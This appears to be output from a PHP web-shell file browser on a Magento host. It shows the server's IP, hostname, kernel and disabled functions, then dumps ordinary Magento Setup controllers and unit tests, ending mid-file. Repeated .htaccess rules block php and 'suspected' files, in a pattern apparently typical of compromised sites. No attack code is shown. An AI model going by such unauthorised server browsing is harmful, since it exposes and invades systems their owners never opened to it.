uawdijnntqw1x1x1
IP : 216.73.216.136
Hostname : dhandapanilive
Kernel : Linux dhandapanilive 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
OS : Linux
PATH:
/
var
/
www
/
html
/
dhandapani
/
a8fc6
/
..
/
bef9b
/
..
/
8feeb
/
src.tar
/
/
Magento/Setup/Controller/ResponseTypeInterface.php000077700000000615151323623130016363 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Controller; /** * Interface \Magento\Setup\Controller\ResponseTypeInterface * */ interface ResponseTypeInterface { /**#@+ * Response Type values */ const RESPONSE_TYPE_SUCCESS = 'success'; const RESPONSE_TYPE_ERROR = 'error'; /**#@-*/ } Magento/Setup/Controller/Landing.php000077700000001770151323623130013461 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Controller; use Laminas\Mvc\Controller\AbstractActionController; use Laminas\View\Model\ViewModel; /** * Controller for Setup Landing page */ class Landing extends AbstractActionController { /** * @var \Magento\Framework\App\ProductMetadata */ protected $productMetadata; /** * @param \Magento\Framework\App\ProductMetadata $productMetadata */ public function __construct(\Magento\Framework\App\ProductMetadata $productMetadata) { $this->productMetadata = $productMetadata; } /** * Setup index action. * * @return array|ViewModel */ public function indexAction() { $view = new ViewModel; $view->setTerminal(true); $view->setTemplate('/magento/setup/landing.phtml'); $view->setVariable('version', $this->productMetadata->getVersion()); return $view; } } Magento/Setup/Controller/License.php000077700000002153151323623130013463 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Controller; use Magento\Setup\Model\License as LicenseModel; use Laminas\Mvc\Controller\AbstractActionController; use Laminas\View\Model\ViewModel; /** * License controller */ class License extends AbstractActionController { /** * Licence Model * * @var LicenseModel */ protected $license; /** * Constructor * * @param LicenseModel $license */ public function __construct(LicenseModel $license) { $this->license = $license; } /** * Displays license * * @return ViewModel */ public function indexAction() { $contents = $this->license->getContents(); $view = new ViewModel(); if ($contents === false) { $view->setTemplate('error/404'); $view->setVariable('message', 'Cannot find license file.'); } else { $view->setTerminal(true); $view->setVariable('license', $contents); } return $view; } } Magento/Setup/Controller/Index.php000077700000000760151323623130013152 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Controller; use Laminas\Mvc\Controller\AbstractActionController; use Laminas\View\Model\ViewModel; /** * Main controller of the Setup Wizard */ class Index extends AbstractActionController { /** * Index action * * @return ViewModel|\Laminas\Http\Response */ public function indexAction() { return new ViewModel(); } } Magento/Setup/Controller/.htaccess000077700000000177151323623130013172 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Controller/Navigation.php000077700000004072151323623130014202 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Controller; use Laminas\Mvc\Controller\AbstractActionController; use Laminas\View\Model\JsonModel; use Laminas\View\Model\ViewModel; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\Navigation as NavModel; use Magento\Setup\Model\ObjectManagerProvider; /** * Navigation controller */ class Navigation extends AbstractActionController { /** * @var NavModel */ protected $navigation; /** * @var ViewModel */ protected $view; /** * @var ObjectManagerInterface */ private $objectManagerProvider; /** * @param NavModel $navigation * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(NavModel $navigation, ObjectManagerProvider $objectManagerProvider) { $this->navigation = $navigation; $this->objectManagerProvider = $objectManagerProvider->get(); $this->view = new ViewModel(); $this->view->setVariable('menu', $this->navigation->getMenuItems()); $this->view->setVariable('main', $this->navigation->getMainItems()); } /** * Index action * * @return JsonModel */ public function indexAction() { $json = new JsonModel(); $json->setVariable('nav', $this->navigation->getData()); $json->setVariable('menu', $this->navigation->getMenuItems()); $json->setVariable('main', $this->navigation->getMainItems()); $json->setVariable('titles', $this->navigation->getTitles()); return $json; } /** * Menu action * * @return array|ViewModel */ public function menuAction() { $this->view->setVariable('menu', $this->navigation->getMenuItems()); $this->view->setVariable('main', $this->navigation->getMainItems()); $this->view->setTemplate('/magento/setup/navigation/menu.phtml'); $this->view->setTerminal(true); return $this->view; } } Magento/Setup/Test/Unit/Controller/LicenseTest.php000077700000002735151323623130016167 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Controller; use Laminas\View\Model\ViewModel; use Magento\Setup\Controller\License; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class LicenseTest extends TestCase { /** * @var MockObject|\Magento\Setup\Model\License */ private $licenseModel; /** * @var License */ private $controller; protected function setUp(): void { $this->licenseModel = $this->createMock(\Magento\Setup\Model\License::class); $this->controller = new License($this->licenseModel); } public function testIndexActionWithLicense() { $this->licenseModel->expects($this->once())->method('getContents')->willReturn('some license string'); $viewModel = $this->controller->indexAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $this->assertArrayHasKey('license', $viewModel->getVariables()); } public function testIndexActionNoLicense() { $this->licenseModel->expects($this->once())->method('getContents')->willReturn(false); $viewModel = $this->controller->indexAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $this->assertArrayHasKey('message', $viewModel->getVariables()); $this->assertEquals('error/404', $viewModel->getTemplate()); } } Magento/Setup/Test/Unit/Controller/IndexTest.php000077700000001136151323623130015646 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Controller; use Laminas\View\Model\ViewModel; use Magento\Setup\Controller\Index; use PHPUnit\Framework\TestCase; class IndexTest extends TestCase { public function testIndexAction() { /** @var Index $controller */ $controller = new Index(); $viewModel = $controller->indexAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $this->assertFalse($viewModel->terminate()); } } Magento/Setup/Test/Unit/Controller/.htaccess000077700000000177151323623130015030 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Controller/NavigationTest.php000077700000004513151323623130016700 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Controller; use Laminas\View\Model\JsonModel; use Laminas\View\Model\ViewModel; use Magento\Setup\Controller\Navigation; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class NavigationTest extends TestCase { /** * @var MockObject|\Magento\Setup\Model\Navigation */ private $navigationModel; /** * @var \Magento\Setup\Controller\Navigation */ private $controller; /** * @var ObjectManagerProvider|MockObject */ private $objectManagerProvider; protected function setUp(): void { $this->navigationModel = $this->createMock(\Magento\Setup\Model\Navigation::class); $this->objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $this->controller = new Navigation($this->navigationModel, $this->objectManagerProvider); } public function testIndexAction() { $this->navigationModel->expects($this->once())->method('getData')->willReturn('some data'); $viewModel = $this->controller->indexAction(); $this->assertInstanceOf(JsonModel::class, $viewModel); $this->assertArrayHasKey('nav', $viewModel->getVariables()); } public function testMenuActionUpdater() { $viewModel = $this->controller->menuAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $variables = $viewModel->getVariables(); $this->assertArrayHasKey('menu', $variables); $this->assertArrayHasKey('main', $variables); $this->assertTrue($viewModel->terminate()); $this->assertSame('/magento/setup/navigation/menu.phtml', $viewModel->getTemplate()); } public function testMenuActionInstaller() { $viewModel = $this->controller->menuAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $variables = $viewModel->getVariables(); $this->assertArrayHasKey('menu', $variables); $this->assertArrayHasKey('main', $variables); $this->assertTrue($viewModel->terminate()); $this->assertSame('/magento/setup/navigation/menu.phtml', $viewModel->getTemplate()); } } Magento/Setup/Test/Unit/Controller/LandingTest.php000077700000003020151323623130016145 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Controller; use Laminas\View\Model\ViewModel; use Magento\Framework\App\ProductMetadata; use Magento\Setup\Controller\Landing; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class LandingTest extends TestCase { /** * Test Product Version Value */ const TEST_PRODUCT_VERSION = '222.333.444'; public function testIndexAction() { /** @var ProductMetadata|MockObject $productMetadataMock */ $productMetadataMock = $this->getMockBuilder(ProductMetadata::class) ->setMethods(['getVersion']) ->disableOriginalConstructor() ->getMock(); $productMetadataMock->expects($this->once()) ->method('getVersion') ->willReturn($this::TEST_PRODUCT_VERSION); /** @var Landing $controller */ $controller = new Landing($productMetadataMock); $_SERVER['DOCUMENT_ROOT'] = 'some/doc/root/value'; $viewModel = $controller->indexAction(); $this->assertInstanceOf(ViewModel::class, $viewModel); $this->assertTrue($viewModel->terminate()); $this->assertEquals('/magento/setup/landing.phtml', $viewModel->getTemplate()); $variables = $viewModel->getVariables(); $this->assertArrayHasKey('version', $variables); $this->assertEquals($this::TEST_PRODUCT_VERSION, $variables['version']); } } Magento/Setup/Test/Unit/Model/AdminAccountFactoryTest.php000077700000002373151323623130017415 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Framework\Encryption\Encryptor; use Magento\Framework\Encryption\EncryptorInterface; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\AdminAccountFactory; use PHPUnit\Framework\TestCase; class AdminAccountFactoryTest extends TestCase { public function testCreate() { $serviceLocatorMock = $this->getMockBuilder(ServiceLocatorInterface::class) ->onlyMethods(['get']) ->getMockForAbstractClass(); $serviceLocatorMock ->expects($this->once()) ->method('get') ->with(Encryptor::class) ->willReturn($this->getMockForAbstractClass(EncryptorInterface::class)); $adminAccountFactory = new AdminAccountFactory($serviceLocatorMock); $adminAccount = $adminAccountFactory->create( $this->getMockForAbstractClass(AdapterInterface::class), [] ); $this->assertInstanceOf(AdminAccount::class, $adminAccount); } } Magento/Setup/Test/Unit/Model/SearchTermDescriptionGeneratorTest.php000077700000003633151323623130021630 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\Description\DescriptionGenerator; use Magento\Setup\Model\SearchTermDescriptionGenerator; use Magento\Setup\Model\SearchTermManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class SearchTermDescriptionGeneratorTest extends TestCase { /** * @var SearchTermDescriptionGenerator */ private $searchTermDescriptionGenerator; /** * @var MockObject|DescriptionGenerator */ private $descriptionGeneratorMock; /** * @var MockObject|SearchTermManager */ private $searchTermManagerMock; protected function setUp(): void { $this->descriptionGeneratorMock = $this->createMock(DescriptionGenerator::class); $this->searchTermManagerMock = $this->createMock(SearchTermManager::class); $this->searchTermDescriptionGenerator = new SearchTermDescriptionGenerator( $this->descriptionGeneratorMock, $this->searchTermManagerMock ); } public function testGeneratorWithCaching() { $descriptionMock = '<o>'; $firstProductIndex = 1; $secondProductIndex = 2; $this->descriptionGeneratorMock ->expects($this->once()) ->method('generate') ->willReturn($descriptionMock); $this->searchTermManagerMock ->expects($this->exactly(2)) ->method('applySearchTermsToDescription') ->withConsecutive( [$descriptionMock, $firstProductIndex], [$descriptionMock, $secondProductIndex] ); $this->searchTermDescriptionGenerator->generate($firstProductIndex); $this->searchTermDescriptionGenerator->generate($secondProductIndex); } } Magento/Setup/Test/Unit/Model/PhpInformationTest.php000077700000001617151323623130016455 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\PhpInformation; use PHPUnit\Framework\TestCase; /** * Tests Magento\Setup\Model\PhpInformation */ class PhpInformationTest extends TestCase { public function testGetRequiredMinimumXDebugNestedLevel() { $phpInformation = new PhpInformation(); $this->assertEquals(200, $phpInformation->getRequiredMinimumXDebugNestedLevel()); } public function testGetCurrent() { $phpInformation = new PhpInformation(); $actualExtensions = $phpInformation->getCurrent(); $this->assertIsArray($actualExtensions); // Calling second type should cause class variable to be used $this->assertSame($actualExtensions, $phpInformation->getCurrent()); } } Magento/Setup/Test/Unit/Model/LicenseTest.php000077700000003223151323623130015075 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\Filesystem; use Magento\Framework\Filesystem\Directory\Read; use Magento\Setup\Model\License; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class LicenseTest extends TestCase { /** * @var MockObject|Read */ private $directoryReadMock; /** * @var MockObject|Filesystem */ private $filesystemMock; protected function setUp(): void { $this->directoryReadMock = $this->createMock(Read::class); $this->filesystemMock = $this->createMock(Filesystem::class); $this->filesystemMock ->expects($this->once()) ->method('getDirectoryRead') ->willReturn($this->directoryReadMock); } public function testGetContents() { $this->directoryReadMock ->expects($this->atLeastOnce()) ->method('readFile') ->willReturn('License text'); $this->directoryReadMock ->expects($this->atLeastOnce()) ->method('isFile') ->willReturn(true); $license = new License($this->filesystemMock); $this->assertSame('License text', $license->getContents()); } public function testGetContentsNoFile() { $this->directoryReadMock ->expects($this->atLeastOnce()) ->method('isFile') ->willReturn(false); $license = new License($this->filesystemMock); $this->assertFalse($license->getContents()); } } Magento/Setup/Test/Unit/Model/CryptKeyGeneratorTest.php000077700000002631151323623130017136 0ustar00<?php /*** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\Math\Random; use Magento\Setup\Model\CryptKeyGenerator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Testcase for CryptKeyGenerator */ class CryptKeyGeneratorTest extends TestCase { /** * @var Random|MockObject */ private $randomMock; /** * @var CryptKeyGenerator */ private $cryptKeyGenerator; protected function setUp(): void { $this->randomMock = $this->getMockBuilder(Random::class) ->disableOriginalConstructor() ->getMock(); $this->cryptKeyGenerator = new CryptKeyGenerator($this->randomMock); } public function testStringForHashingIsReadFromRandom() { $this->randomMock ->expects($this->once()) ->method('getRandomString') ->willReturn(''); $this->cryptKeyGenerator->generate(); } public function testReturnsMd5OfRandomString() { $expected = 'fdb7594e77f1ad5fbb8e6c917b6012ce'; // == 'magento2' $this->randomMock ->method('getRandomString') ->willReturn('magento2'); $actual = $this->cryptKeyGenerator->generate(); $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Model/PhpReadinessCheckTest.php000077700000037713151323623130017051 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Composer\Package\Version\VersionParser; use Composer\Semver\Constraint\ConstraintInterface; use Magento\Framework\Composer\ComposerInformation; use Magento\Framework\Convert\DataSize; use Magento\Setup\Controller\ResponseTypeInterface; use Magento\Setup\Model\PhpInformation; use Magento\Setup\Model\PhpReadinessCheck; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class PhpReadinessCheckTest extends TestCase { /** * @var MockObject|ComposerInformation */ private $composerInfo; /** * @var MockObject|PhpInformation */ private $phpInfo; /** * @var MockObject|VersionParser */ private $versionParser; /** * Data size converter * * @var DataSize|MockObject */ protected $dataSize; /** * @var PhpReadinessCheck */ private $phpReadinessCheck; protected function setUp(): void { $this->composerInfo = $this->createMock(ComposerInformation::class); $this->phpInfo = $this->createMock(PhpInformation::class); $this->versionParser = $this->createMock(VersionParser::class); $this->dataSize = $this->createMock(DataSize::class); $this->phpReadinessCheck = new PhpReadinessCheck( $this->composerInfo, $this->phpInfo, $this->versionParser, $this->dataSize ); } public function testCheckPhpVersionNoRequiredVersion() { $this->composerInfo->expects($this->once()) ->method('getRequiredPhpVersion') ->willThrowException(new \Exception()); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'error' => 'phpVersionError', 'message' => 'Cannot determine required PHP version: ' ] ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpVersion()); } public function testCheckPhpVersionPrettyVersion() { $this->composerInfo->expects($this->once())->method('getRequiredPhpVersion')->willReturn('1.0'); $multipleConstraints = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(0))->method('parseConstraints')->willReturn($multipleConstraints); $this->versionParser->expects($this->at(1)) ->method('normalize') ->willThrowException(new \UnexpectedValueException()); $this->versionParser->expects($this->at(2))->method('normalize')->willReturn('1.0'); $currentPhpVersion = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(3))->method('parseConstraints')->willReturn($currentPhpVersion); $multipleConstraints->expects($this->once())->method('matches')->willReturn(true); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS, 'data' => [ 'required' => 1.0, 'current' => PHP_VERSION, ], ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpVersion()); } public function testCheckPhpVersionPrettyVersionFailed() { $this->composerInfo->expects($this->once())->method('getRequiredPhpVersion')->willReturn('1.0'); $multipleConstraints = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(0))->method('parseConstraints')->willReturn($multipleConstraints); $this->versionParser->expects($this->at(1)) ->method('normalize') ->willThrowException(new \UnexpectedValueException()); $this->versionParser->expects($this->at(2))->method('normalize')->willReturn('1.0'); $currentPhpVersion = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(3))->method('parseConstraints')->willReturn($currentPhpVersion); $multipleConstraints->expects($this->once())->method('matches')->willReturn(false); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'required' => 1.0, 'current' => PHP_VERSION, ], ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpVersion()); } private function setUpNoPrettyVersionParser() { $multipleConstraints = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(0))->method('parseConstraints')->willReturn($multipleConstraints); $this->versionParser->expects($this->at(1))->method('normalize')->willReturn('1.0'); $currentPhpVersion = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(2))->method('parseConstraints')->willReturn($currentPhpVersion); $multipleConstraints->expects($this->once())->method('matches')->willReturn(true); } public function testCheckPhpVersion() { $this->composerInfo->expects($this->once())->method('getRequiredPhpVersion')->willReturn('1.0'); $this->setUpNoPrettyVersionParser(); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS, 'data' => [ 'required' => 1.0, 'current' => PHP_VERSION, ], ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpVersion()); } public function testCheckPhpVersionFailed() { $this->composerInfo->expects($this->once())->method('getRequiredPhpVersion')->willReturn('1.0'); $multipleConstraints = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(0))->method('parseConstraints')->willReturn($multipleConstraints); $this->versionParser->expects($this->at(1))->method('normalize')->willReturn('1.0'); $currentPhpVersion = $this->getMockForAbstractClass( ConstraintInterface::class, [], '', false ); $this->versionParser->expects($this->at(2))->method('parseConstraints')->willReturn($currentPhpVersion); $multipleConstraints->expects($this->once())->method('matches')->willReturn(false); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'required' => 1.0, 'current' => PHP_VERSION, ], ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpVersion()); } public function testCheckPhpSettings() { $this->phpInfo->expects($this->once())->method('getCurrent')->willReturn(['xdebug']); $this->phpInfo->expects($this->once())->method('getRequiredMinimumXDebugNestedLevel')->willReturn(50); $xdebugMessage = sprintf( 'Your current setting of xdebug.max_nesting_level=%d. Magento 2 requires it to be set to %d or more. Edit your config, restart web server, and try again.', 100, 50 ); $rawPostMessage = sprintf( 'Your PHP Version is %s, but always_populate_raw_post_data = -1. $HTTP_RAW_POST_DATA is deprecated from PHP 5.6 onwards and will be removed in PHP 7.0. This will stop the installer from running. Please open your php.ini file and set always_populate_raw_post_data to -1. If you need more help please call your hosting provider.', PHP_VERSION ); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS, 'data' => [ 'xdebug_max_nesting_level' => [ 'message' => $xdebugMessage, 'error' => false, ], 'missed_function_imagecreatefromjpeg' => [ 'message' => 'You must have installed GD library with --with-jpeg-dir=DIR option.', 'helpUrl' => 'http://php.net/manual/en/image.installation.php', 'error' => false, ], ], ]; if (!$this->isPhp7OrHhvm()) { $this->setUpNoPrettyVersionParser(); $expected['data']['always_populate_raw_post_data'] = [ 'message' => $rawPostMessage, 'helpUrl' => 'http://php.net/manual/en/ini.core.php#ini.always-populate-settings-data', 'error' => false ]; } $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpSettings()); } public function testCheckPhpSettingsFailed() { $this->phpInfo->expects($this->once())->method('getCurrent')->willReturn(['xdebug']); $this->phpInfo->expects($this->once())->method('getRequiredMinimumXDebugNestedLevel')->willReturn(200); $xdebugMessage = sprintf( 'Your current setting of xdebug.max_nesting_level=%d. Magento 2 requires it to be set to %d or more. Edit your config, restart web server, and try again.', 100, 200 ); $rawPostMessage = sprintf( 'Your PHP Version is %s, but always_populate_raw_post_data = -1. $HTTP_RAW_POST_DATA is deprecated from PHP 5.6 onwards and will be removed in PHP 7.0. This will stop the installer from running. Please open your php.ini file and set always_populate_raw_post_data to -1. If you need more help please call your hosting provider.', PHP_VERSION ); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'xdebug_max_nesting_level' => [ 'message' => $xdebugMessage, 'error' => true, ], 'missed_function_imagecreatefromjpeg' => [ 'message' => 'You must have installed GD library with --with-jpeg-dir=DIR option.', 'helpUrl' => 'http://php.net/manual/en/image.installation.php', 'error' => false, ], ], ]; if (!$this->isPhp7OrHhvm()) { $this->setUpNoPrettyVersionParser(); $expected['data']['always_populate_raw_post_data'] = [ 'message' => $rawPostMessage, 'helpUrl' => 'http://php.net/manual/en/ini.core.php#ini.always-populate-settings-data', 'error' => false ]; } $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpSettings()); } public function testCheckPhpSettingsNoXDebug() { $this->phpInfo->expects($this->once())->method('getCurrent')->willReturn([]); $rawPostMessage = sprintf( 'Your PHP Version is %s, but always_populate_raw_post_data = -1. $HTTP_RAW_POST_DATA is deprecated from PHP 5.6 onwards and will be removed in PHP 7.0. This will stop the installer from running. Please open your php.ini file and set always_populate_raw_post_data to -1. If you need more help please call your hosting provider.', PHP_VERSION ); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS, 'data' => [] ]; if (!$this->isPhp7OrHhvm()) { $this->setUpNoPrettyVersionParser(); $expected['data'] = [ 'always_populate_raw_post_data' => [ 'message' => $rawPostMessage, 'helpUrl' => 'http://php.net/manual/en/ini.core.php#ini.always-populate-settings-data', 'error' => false ] ]; } $expected['data']['missed_function_imagecreatefromjpeg'] = [ 'message' => 'You must have installed GD library with --with-jpeg-dir=DIR option.', 'helpUrl' => 'http://php.net/manual/en/image.installation.php', 'error' => false, ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpSettings()); } public function testCheckPhpSettingsMemoryLimitError() { $this->dataSize->expects($this->any())->method('convertSizeToBytes')->willReturnMap( [ ['512M', 512], ['756M', 756], ['2G', 2048], ] ); $rawPostMessage = 'Your current PHP memory limit is 512M. Magento 2 requires it to be set to 756M or more. As a user with root privileges, edit your php.ini file to increase memory_limit. (The command php --ini tells you where it is located.) After that, restart your web server and try again.'; $expected['memory_limit'] = [ 'message' => $rawPostMessage, 'error' => true, 'warning' => false, ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkMemoryLimit()); } public function testCheckPhpExtensionsNoRequired() { $this->composerInfo->expects($this->once()) ->method('getRequiredExtensions') ->willThrowException(new \Exception()); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'error' => 'phpExtensionError', 'message' => 'Cannot determine required PHP extensions: ' ], ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpExtensions()); } public function testCheckPhpExtensions() { $this->composerInfo->expects($this->once()) ->method('getRequiredExtensions') ->willReturn(['a', 'b', 'c']); $this->phpInfo->expects($this->once()) ->method('getCurrent') ->willReturn(['a', 'b', 'c', 'd']); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS, 'data' => [ 'required' => ['a', 'b', 'c'], 'missing' => [], ] ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpExtensions()); } public function testCheckPhpExtensionsFailed() { $this->composerInfo->expects($this->once()) ->method('getRequiredExtensions') ->willReturn(['a', 'b', 'c']); $this->phpInfo->expects($this->once()) ->method('getCurrent') ->willReturn(['a', 'b']); $expected = [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'required' => ['a', 'b', 'c'], 'missing' => ['c'], ] ]; $this->assertEquals($expected, $this->phpReadinessCheck->checkPhpExtensions()); } /** * @return bool */ protected function isPhp7OrHhvm() { return version_compare(PHP_VERSION, '7.0.0-beta') >= 0 || defined('HHVM_VERSION'); } } namespace Magento\Setup\Model; /** * @param $param * @return int|string */ function ini_get($param) { if ($param === 'xdebug.max_nesting_level') { return 100; } elseif ($param === 'always_populate_raw_post_data') { return -1; } elseif ($param === 'memory_limit') { return '512M'; } } Magento/Setup/Test/Unit/Model/FixtureGenerator/SqlCollectorTest.php000077700000011456151323623130021425 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\FixtureGenerator; use Magento\Framework\App\ResourceConnection; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Model\FixtureGenerator\SqlCollector; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Collect insert queries for quick entity generation */ class SqlCollectorTest extends TestCase { /** * @var SqlCollector */ private $unit; /** * @var MockObject */ private $resourceConnection; protected function setUp(): void { $this->resourceConnection = $this->getMockBuilder(ResourceConnection::class) ->disableOriginalConstructor() ->getMock(); $this->unit = (new ObjectManager($this))->getObject( SqlCollector::class, ['resourceConnection' => $this->resourceConnection] ); } public function testGetEmptySql() { $connection = $this->getMockBuilder(AdapterInterface::class) ->setMethods(['getProfiler']) ->getMockForAbstractClass(); $profiler = $this->getMockBuilder(\Zend_Db_Profiler::class) ->disableOriginalConstructor() ->getMock(); $connection->expects($this->once())->method('getProfiler')->willReturn($profiler); $this->resourceConnection->expects($this->once())->method('getConnection')->willReturn($connection); $profiler->expects($this->once())->method('getQueryProfiles')->willReturn([]); $this->unit->disable(); $this->assertEquals([], $this->unit->getSql()); } public function testGetEmptySqlWhenSelectQueryProcessed() { $connection = $this->getMockBuilder(AdapterInterface::class) ->setMethods(['getProfiler']) ->getMockForAbstractClass(); $profiler = $this->getMockBuilder(\Zend_Db_Profiler::class) ->disableOriginalConstructor() ->getMock(); $connection->expects($this->once())->method('getProfiler')->willReturn($profiler); $this->resourceConnection->expects($this->once())->method('getConnection')->willReturn($connection); $query = $this->getMockBuilder(\Zend_Db_Profiler_Query::class)->disableOriginalConstructor() ->getMock(); $query->expects($this->exactly(2))->method('getQueryType')->willReturn(\Zend_Db_Profiler::SELECT); $profiler->expects($this->once())->method('getQueryProfiles')->willReturn([$query]); $this->unit->disable(); $this->assertEquals([], $this->unit->getSql()); } public function testGetSql() { $connection = $this->getMockBuilder(AdapterInterface::class) ->setMethods(['getProfiler']) ->getMockForAbstractClass(); $profiler = $this->getMockBuilder(\Zend_Db_Profiler::class) ->disableOriginalConstructor() ->getMock(); $connection->expects($this->once())->method('getProfiler')->willReturn($profiler); $this->resourceConnection->expects($this->once())->method('getConnection')->willReturn($connection); $query = $this->getMockBuilder(\Zend_Db_Profiler_Query::class)->disableOriginalConstructor() ->getMock(); $query->expects($this->once())->method('getQueryType')->willReturn(\Zend_Db_Profiler::INSERT); $query->expects($this->once())->method('getQuery')->willReturn( 'INSERT INTO `catalog_product_entity` (id, sku, type, created_at, attribute_set)' . ' VALUES (?, ?, ?, \'2013-12-11\', ?), (?, ?, ?, \'2013-12-11\', ?)' ); $query->expects($this->once())->method('getQueryParams')->willReturn([ 4, 'sku_4', 'simple', 4, 5, 'sku_5', 'simple', 12 